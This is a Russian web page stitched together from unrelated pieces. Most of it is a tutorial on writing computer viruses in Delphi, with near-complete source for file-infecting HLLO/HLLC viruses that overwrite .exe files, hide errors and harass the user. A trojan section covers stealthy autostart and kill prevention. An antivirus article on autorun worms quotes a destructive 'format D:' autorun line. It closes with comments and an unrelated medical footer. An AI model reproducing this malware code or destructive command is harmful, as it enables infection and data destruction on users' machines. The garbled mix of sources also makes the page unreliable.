Можно ли на delphi написать вирус

ВНИМАНИЕ: вся информация дана исключительно в образовательных целях

Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше.

HLLC- High Level Language Companion. Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.

Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:

  1. Связь с файлом:
  2. Открытие файла для чтения:
  3. Чтение инфы из файла в буфер: Здесь buf- массивчик, напр. Count- сколько байтов ты хочешь прочесть
    AmtTransfered- сколько реально прочитано.
  4. Запись из буфера в файл:

Почти то же, что и предыдущее.

  • Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);
  • Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.
  • Поиск файла. Без него нам никак не обойтись, надо же искать жертву J. Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый.
    F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла. Sr.Name- имя найденного файла
    Sr.Size- его размер.

    Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:

  • 8.Закрытие файла, все наши с ним извращения сохраняются:
  • 9.Сдвиг рамки считывания: Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем: А потом уже
  • 10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем: Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если
  • 11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow:
  • 12.Установка атрибутов файла: Fileattr- как в findfirst.
  • Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы.

    Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия…

    Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит

    На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.

    Т.о. вирус состоит из четырёх частей:
    - Процедура заражения.
    - Процедура поиска жертв.
    - Функция проверки зараженности
    - Функция запуска жертвы

    . Процедура заражения файла идентична, HLLO, принципиальная разница кроется в том, что процедура поиска жертв не скармливает этой, опасной для файлов процедуре, файлы, а лишь дает путь самокопирования с определённым именем. В общем я привожу оба исходника вирусов, с комментариями, думаю, у вас не возникнет проблем с их пониманием. Вирусы, заражают, по второму, по описанию методу, т.к. первый метод, больше актуален для DOS.

    На Turbo Pascal:

    Теперь, то же самое только на Delphi.

    program hllc;
    uses
    sysutils,
    windows;

    const
    VirSize = 43008;///Размер вируса

    Procedure Infect(path:string);
    var
    FromF : file;
    ToF: file;
    NumRead : integer;
    Buf: array[1..VirSize] of Char; //Буфер
    FM:word; //Переменная для сохранения FileMode
    begin
    FM:=FileMode;//сохраняем FileMode
    FileMode:=0;//Режим работы с файлом - только чтение
    AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
    Reset(FromF, 1);//Открываем себя
    BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
    CloseFile(FromF);//Закрываем себя
    FileMode:=2;//Режим работы с файлом - только запись
    AssignFile(ToF, path);//Ассоциируем с путём к файлу
    Rewrite(ToF, 1);//Открытие с перезаписью
    BlockWrite(ToF, Buf, NumRead);//Пишем буфер
    CloseFile(ToF); //Закрываем жертву
    FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
    end;

    Как видите размер у вируса весьма большой, сейчас мы попробуем написать HLLC вирус на micro-Delphi, о котором я говорил в предыдущем уроке. Вот исходник, вируса HLLC который после упаковки fsg2 весит 1525 байт, что в 28 раз меньше чем без применения методик сжатия.

    Program VirusHLLC;//Пример HllC вируса на Delphi (xakep.su)

    const //Необходимы константы, перенесены из модуля Windows

    VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1525 байт
    FILE_ATTRIBUTE_NORMAL = $00000080;
    SHELL32 = 'shell32.dll';
    FILE_SHARE_WRITE = $00000002;//Атрибут записи
    FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения
    KERNEL32 = 'kernel32.dll';
    MAX_PATH = 260;//Максимальная длина пути
    CREATE_ALWAYS = 2;//Открыть новый
    GENERIC_READ = $80000000;
    GENERIC_WRITE = $40000000;
    OPEN_EXISTING = 3;
    TRUNCATE_EXISTING = 5;//Открытие с перезаписью
    ATTR_DIR = $00000010;//Атрибут директории
    FILE_SHARE_READ = $00000001;//Чтение из файла

    type //Типы необходимые функции CreateFile, перенесены из модуля Windows
    POverlapped = ^TOverlapped;
    TOverlapped = record
    Internal: Cardinal;
    InternalHigh: Cardinal;
    Offset: Cardinal;
    OffsetHigh: Cardinal;
    hEvent: Cardinal;
    end;
    PSecurityAttributes = ^TSecurityAttributes;
    TSecurityAttributes = record
    nLength: Cardinal;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;
    end;
    PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу

    TFileTime = record //Запись передачи даты и времени
    dwLowDateTime: INTEGER;
    dwHighDateTime: INTEGER;
    end;

    FindRec = record
    //Запись в которую возврящаются параметры поиска файлов
    dwFileAttributes: INTEGER; //Атрибуты
    ftCreationTime: TFileTime; //Время создания
    ftLastAccessTime: TFileTime;//Время последнего обращения
    ftLastWriteTime: TFileTime; //Время последнего изменения
    nFileSizeHigh: INTEGER; //Размер реальный
    nFileSizeLow: INTEGER; //Размер на диске
    dwReserved0: INTEGER; //Резерв
    dwReserved1: INTEGER; //Резерв
    cFileName: PathBuf; //Полное имя файла
    cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
    end;

    function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';
    //Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту
    function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile';
    //Чтение из файла (объекта)
    function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile';
    //Запись из файл (объекта)
    function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';
    //Закрытие файла (объекта)
    function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
    //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
    function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA';
    //Поиск первого файла в указанном каталоге по маске
    function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
    //Поиск следующего файла в сессии начатой FindNextFile
    function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
    //Сравнение переменных
    function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA';
    //Определение дляны строки
    function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
    // Копиpует lpString2 (включая пустой символ) в lpString1.
    function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
    //Сцепляет lpString1 с lpString2.
    function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
    // Выполняет прикладную задачу, указанную паpаметpом CmdLine
    function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';

    Procedure CopyData(ToF : PChar);
    var
    pch : PathBuf;
    B : INTEGER;
    F : INTEGER;
    Buf : array [1..VirSize] of Char;
    begin
    GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
    F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    //Открываем себя
    ReadFile(F, Buf, VirSize, B, nil);
    //Читаем себя в буфер
    CloseHandle(F);
    //Закрываем себя
    F := CreateFile(ToF, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    //Открываем жертву с перезаписью
    WriteFile(F, Buf, VirSize, B, nil);
    //Пишем буфер в жертву
    CloseHandle(F);
    //Закрываем жертву
    end;

    function CheckMyName(path:pchar):boolean;
    var
    pch : PathBuf;
    i : integer;
    begin
    result:=false;
    GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
    for i:=lstrlen(pch) to 0 do if pch[i]='\' then break;
    //Обределяем позицию последнего символа \ в строке пути к файлу
    if lstrcmp(path,@pch[i+1])=0 then Result:=true;
    //Сравниваем
    end;

    function FileExists(path:PChar):boolean;
    var
    i : integer;
    begin
    i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    //Открываем существующий файл для чтения
    if i=-1 //если -1 значит ошибка, значит файла не
    then Result:=false
    else Result:=true;//файл есть
    end;

    Вот и весь вирус.. Я думаю, что на этой статье обсуждение HLLO и HLLC вирусов, будет закрыто, далее мы будем писать и совершенствовать вирусы типа HLLP, они значительно интересней и гораздо трудней лечатся, имеют массу фишек и возможностей, о которых мы будем подробно беседовать на следующих уроках. Не забываем, о исключительно учебном применении, данного материала.

    Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…

    Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером
    23.40 Кб, который будет полноценно размножаться и мешать работе системы.

    Итак, наши инструменты:

    • Борланд Дельфи 7.0 Enterprise Edition
    • UPX PE packer
    • Прямые руки 🙂

    1. Запускаем вирус.
    2. Происходит проверка, на запуск тела вируса или зараженной программы.
    3. Если запущенно тело вируса, то переходим к заражению.
    4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать.
    5. Пока юзверь работает мешаем ему как можем.
    6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл
    (тот, который мы распаковали) и продолжаем инфицировать
    своих соседей по каталогу.
    7. Выходим из программы.

    Вот собственно и все, что мой вирус может, а теперь реализация.
    Для начала пишем скелет программы:

    program zverofil;
    uses sysutils,windows;
    const virsize=23040;
    var victims:tsearchrec;
    f1,f2:file;

    Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.
    Процедура заражения выглядит вот так:

    procedure infect(victim:string);
    var
    a:integer;

    Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;

    Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.

    filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    if filesize(f1)>virsize then go;
    closefile(f1);
    filemode :=2;

    Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.

    Поиск и заражение жертв реализуется так:

    if FindFirst('*.exe', Faanyfile, victims) = 0 then
    repeat
    if not ((victims.Name)=extractfilename(paramstr(0))) then begin
    if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);

    end;
    until FindNext(victims)<>0 ;

    Ну и код выполнения самой зараженной проги будет таким:

    procedure go;
    label 10;
    var
    Buf: array[1..virsize] of byte;
    rect:trect;
    nr,nw:longint;
    begin
    ////
    try
    filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    filemode :=2;
    assignfile(f2,paramstr(0)+'.exe');

    rewrite(f2,1);
    seek(f1,virsize);
    seek(f2,0) ;
    repeat
    filemode :=0;
    BlockRead(f1, Buf,virsize, NR);
    filemode :=2;
    BlockWrite(f2, Buf, NR, NW);
    until (NR = 0) or (NW <> NR) ;
    closefile(f1);
    closefile(f2);

    winexec(pchar(paramstr(0)+ '.exe'), SW_show);
    10:

    if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
    setcursorpos(random(800),Random(600));
    getwindowrect(GetForeGroundWindow,rect);
    setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1,
    rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
    setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');

    sleep(400);
    goto 10;
    end;

    Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой.
    Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;




    Подписывайся на YouTube канал о программировании, что бы не пропустить новые видео!


    Пишем троян
    Для программ, называемыми некоторыми функционерами
    от софта, BackDoor-ами и Trojan-ами необходима интеграция в систему т.е. систему
    надо "заразить" программой или программа должна намертво в эту систему
    вцепиться. Сразу можно выделить основные функции, необходимые таким программам:

    a) автозагрузка невидимая пользователю;

    b) перезапуск при прерывании;

    c) запрет на прерывание;

    d) восстановление при удалении;

    e) невидимость для различных просмотрщиков процессов

    Источник: DANIL's page

    В статье я буду последовательно рассматривать каждый пункт. Я не буду
    рассказывать обо всех известных способах, но (на мой взгляд) предоставленная
    информация является лучшим решением для интеграции в MS Windows. Итак, по
    порядку:

    A. Автозагрузка. Есть несколько основных направлений реализации автозагрузки
    (рассматривается только запуск программ для MS Windows - autoexec.bat[nt] и
    подобные запускает только DOS-приложения):

    1.1. Папка автозагрузки в меню Start. Без комментариев.

    1.2. Запись параметра в HKLM\Software\Microsoft\Windows\CurrentVersion\Run. Есть
    несколько модификаций. Недостатки: даже самый тупой пользователь просматривает
    этот параметр и на платформе MS Win-NT (NT,2000,XP), если пользователь не
    принадлежит к группе администраторов, то параметр записан не будет - система не
    даст записать в HKLM системного реестра.

    1.3. Запись автостарта в win.ini, system.ini. Недостатки: все программы слежения
    за автозапуском в системе эти ключи знают.

    1.4. Изменение уже запускаемого при старте системы файла так, чтоб он запускал
    необходимую программу. Недостатки: можно запросто уронить систему и существует
    очень много программ, считающих контрольную сумму системных файлов (особенно
    автозагружаемых).

    1.5. Подключение сервиса или драйвера в систему на платформе WinNT. Мало кто
    помнит все сервисы системы и обратит внимание на еще один. Недостатки: сервис не
    будет работать в Win-9x/ME.

    1.6. Прописывание как ScreenSaver. Программа запускается при простое компьютера
    несколько минут. Потом она должна запустить тот scr, что был до этого.
    Недостатки: ScreenSaver может быть не установлен и обнаружение там какой-то
    записи не желательно.

    1.7. Связь какого-то расширения файлов с программой. Например, открытие файлов с
    расширением *.doc не MS Word, а своей программой (HKEY_CLASSES_ROOT\.doc). При
    запуске Word-овского документа, программа запускается и получает параметр-имя
    файла. Теперь программа должна запустить MS Word, передав ему этот параметр.
    Очень хороший способ. Сложен в реализации, но оно того стоит. Недостатки: в
    системе могут переставить MS Word или поставить другую программу, связанную с
    этим типом файлов. Наша программа перестанет запускаться.

    1.8. Создание "системной" dll, подгружаемой при старте системы. Такая библиотека
    "прикрепляется" к explorer-у и ее нельзя удалить при загруженном рабочем столе.
    В MS Windows есть много лазеек, о которых публично не говорят и программы
    слежения за автозагрузкой таких способов просто не знают или думают, что так
    ничего запустить нельзя. Нахождение такого способа - просто клад для создателя
    подобных прорамм. О нем обычно особо не распространяются, но в этой статье будет
    приведен пример такой автозагрузки. Недостатки: для инициализации "системной"
    dll необходимо изменять реестр в ветви HKLM (см. 1.2).

    C. Запрет на прерывание. В системе Win-9x/ME программу необходимо скрыть по
    "Alt"+"Ctrl"+"Del", а в системах на платформе WinNT можно сделать запрет на
    прерывание процесса в TaskManager-е. Выглядит это так (корректно работает на
    всех системах):

    funcNT = function (param1 : DWORD; param2 : Byte; param3 :
    DWORD; param4, param5 : PSID; param6, param7 : PACL): DWORD;
    stdcall;

    func9x = function (param1, param2: Integer): Integer; stdcall;

    Кругозор без горизонтов

    Чтобы получить доступ к сервисам проекта, войдите на сайт через аккаунт. Если у вас еще нет аккаунта, его можно создать.


    • добавить в избранное

    О коварстве автозапуска

    Сменные носители (не только флешки) были и остаются одним из основных путей распространения вредоносных программ.

    Вот пример такой программы:

    (Worm:AutoIt/Renocide.gen!C, Gen:Trojan.Heur.AutoIT.4, W32/Autorun.worm.zf.gen, Trojan.Win32.Generic!SB.0, Worm.Win32.AutoIt.xl, Trojan.Autoit.F, Worm/Renocide.491520, DR/Autoit.aft.393, TR/Dldr.Delphi.Gen, New Malware.bj, Trojan.Win32.AutoIt.gen.1 (v), Trojan.Generic.4184137, TrojanDropper:Win32/Dowque.A, Downloader.Agent.KNF, Trojan.Autorun.LT, Packed.Win32.Klone.bj, Worm.Win32.AutoRun.yq, Win32/Daiboo.A, Worm:Win32/Autorun.BR, Virus.Win32.AutoRun.k, TROJ_Generic.DIS, Worm/Small.I.7, Trojan.Win32.Meredrop)

    Тип вируса: Червь

    • Семейство червей, распространяющихся посредством flash-накопителей, а так же как составная часть других типов вредоносных программ - дропперов.
    • Создают файл autorun.inf на доступных для записи дисках. При открытии такого диска в Проводнике происходит автоматический запуск червя.
    • Постоянно находясь в оперативной памяти, модификации Win32.HLLW.Autoruner в бесконечном цикле проверяли наличие подмонтированного сменного диска. При обнаружении такового, создают на нём свои копии.

    Как же вредоносная программа попадает на компьютер?

    В прошлом для этого чаще всего использовалась система автозапуска. Если на сменном устройстве в корневом каталоге присутствовал файл autorun.inf и в нем был прописан путь к некоему исполняемому файлу, то достаточно было подключить флешку к компьютеру, как файл запускался автоматически.


    Аналогично данный файл запускается при обращении к сменному устройству (если кликнуть по его значку в Проводнике или на Рабочем столе).

    Это было удобно для запуска инсталляторов, распространявшихся на сменных носителях, различных оболочек, облегчающих поиск необходимой информации на флешке и, т. д. Но, к сожалению, автозапуск стали использовать и злоумышленники.

    Мне как-то принесли диск, говорят, что после этого диска на диске D все исчезает, оказалось, что в autorun.inf была строчка open=format D: /x /q. И что самое главное, они, перед тем как спросить меня, попробовали открыть это диск на 2-х компах из нашего парка компутеров, а на D: лежали бэкапы. Так что теперь я отключаю автозапуск везде, где только могу.

    Из-за обилия вредоносных программ, использующих для своего распространения автозапуск, еще в феврале 2011 года компания Microsoft выпустила обновления, отключающие автозапуск из autorun.inf для Windows XP и Vista. Так что на данный момент он отключен.

    Но и раньше отключить автозапуск было возможно. Например, были широко распространены утилиты, автоматически удаляющие файлы autorun.inf со всех дисков. Правда, проблемы это не решало: в те времена информация распространялась на CD/DVD дисках, а удалить с них autorun.inf в случае наличия вируса было проблематично.

    Другой вариант защиты предусматривал автоматическое создание autorun.inf на сменных носителях необычным способом. Например, с таким именем создавался не файл, а папка. Или файлу autorun.inf присваивались несвойственные для него атрибуты. Вариантов было множество, вот пара из них:

    Суть защиты такая. Вирус пытается создать на флешке файл autorun.inf, и, так как на ней уже существует папка с таким же названием, этот файл сохраняется не в корне флешки, а перемещается в эту папку, что приводит к невозможности автоматического запуска вируса. Особо хитрые вирусы сначала пытаются удалить существующий autorun.inf, но встретив неудаляемый каталог ".." тоже обламываются.

    Этим способом можно защитить флешку раз и навсегда, вернее почти навсегда — до ее форматирования, независимо от того, в какой компьютер она будет втыкаться.

    Создаете папку с! абсолютно! любым именем на флешке, внутрь которой помещаете desktop.ini с ссылкой на пиктограмму в папке autorun.inf. И, если вдруг у данной папки изменится вид от заданного пиктограммой — то это уже будет означать, что на флешке поселился зверь.

    Но работает ли такая защита?

    Если какая-либо программа создает нестандартный файл, то другая программа может его удалить. Защита в виде модификации autorun.inf работала только до той поры, пока с ней не начали сталкиваться вирусописатели.

    У меня в ЖЖ на странице, посвященной скрипту, пользователи отписались, что есть уже такие вирусы (например Win32.HLLW.Autoruner.1018) (умеющие переименовывать каталог AUTORUN.INF).

    На данный момент в Windows автозапуск со сменных носителей отключен, но расслабляться нельзя. Эта функция может быть включена (в том числе и злоумышленниками). Например, в Windows 10 для этого нужно последовательно выбрать Пуск > Параметры > Устройства и далее в левой части окна Автозапуск.


    Получайте Dr.Web-ки за участие в проекте

    Каждая активность = 1 Dr.Web-ка



    GREEN

    11:03:42 2020-04-01

    Sergey
    05:56:47 2020-03-20

    GREEN

    15:03:05 2020-01-28

    "Функция автозапуска опасна"

    "Наша служба и опасна и трудна.
    И на первый взгляд как будто не видна"
    "В точку" про антивирус!

    Денисенко Павел Андреевич
    23:04:26 2018-08-02

    Неуёмный Обыватель

    21:09:20 2018-06-27

    Влад58028
    07:01:25 2018-06-21

    vasvet
    19:41:46 2018-04-04

    Astra
    23:04:33 2017-09-06

    Самуил Христианин
    22:31:17 2017-09-06

    Vlad
    09:46:57 2017-09-04

    Voin sveta

    08:12:02 2017-09-02

    cruise
    06:49:05 2017-08-31

    Любитель пляжного футбола

    14:08:51 2017-08-30

    Любитель пляжного футбола

    14:00:14 2017-08-30

    Вячeслaв


    10:10:54 2017-08-30

    eaglebuk
    09:39:38 2017-08-30

    razgen

    00:15:49 2017-08-30

    Там же можно приобрести:
    Qumo 16 Гб - 504 руб.
    Qumo 8 Гб - 457 руб.

    На сегодня в продаже только эти три модели с Переключателем защиты от записи.

    razgen

    00:07:59 2017-08-30

    @Любитель_пляжного_футбола, Флешку Qumo 32 Гб, с Переключателем защиты от записи, за 806 руб. купить или заказать можно здесь:

    razgen

    23:45:47 2017-08-29

    Любитель пляжного футбола

    23:35:54 2017-08-29

    1milS
    23:13:01 2017-08-29

    Плюшкин
    22:23:51 2017-08-29

    aleks_ku
    22:14:56 2017-08-29

    razgen

    22:00:43 2017-08-29

    сергей
    21:54:27 2017-08-29

    В. а
    21:29:36 2017-08-29

    Marsn77
    21:16:49 2017-08-29

    tigra

    21:14:22 2017-08-29

    Lia00

    21:14:20 2017-08-29

    vla_va
    21:11:14 2017-08-29

    Любитель пляжного футбола

    20:47:19 2017-08-29

    Отключил автозапуск, мне он и ни к чему, всё равно каждый раз при подключении флешки закрывал появляющееся окно со списком возможных действий и открывал флешку вручную. Теперь без автозапуска и безопаснее будет. Спасибо за статью. О флешках с защитой от записи узнал из данной статьи, неплохая вещь, по-моему, я бы их приобрёл по разумной цене, только раньше в магазинах они мне не попадались. Не знаю, насколько они сейчас распространены.

    @admin, интересно, а если в настройках автозапуска ранее я не указывал, какие действия должны производиться при подключении того или иного устройства (проигрывание музыки, раскрытие списка папок и т.п.), и при подключении флешки просто появляется окно-меню со списком возможных действий, т.е. никакое действие автоматически не производится, то это может ли представлять какую-либо угрозу компьютеру? Или же стоит отключить автозапуск совсем? Так, чисто теоретически.

    Dvakota
    20:45:30 2017-08-29

    orw_mikle
    20:34:03 2017-08-29

    НинаК
    20:30:26 2017-08-29

    GREII

    20:07:14 2017-08-29

    ek
    19:45:41 2017-08-29

    Сергей
    19:34:53 2017-08-29

    Black Angel
    19:03:37 2017-08-29

    kva-kva
    18:52:39 2017-08-29

    Damir

    18:49:35 2017-08-29

    Andromeda
    18:28:29 2017-08-29

    Леонид
    18:19:47 2017-08-29

    Альфа
    18:09:11 2017-08-29

    mk.insta
    17:57:36 2017-08-29

    Марина
    17:36:21 2017-08-29

    Tom
    17:21:39 2017-08-29

    Геральт

    16:56:26 2017-08-29

    Шалтай Александр Болтай

    16:27:59 2017-08-29

    duduka
    15:58:07 2017-08-29

    La folle
    15:50:11 2017-08-29

    Читайте также:

    Пожалуйста, не занимайтесь самолечением!
    При симпотмах заболевания - обратитесь к врачу.

    Copyright © Иммунитет и инфекции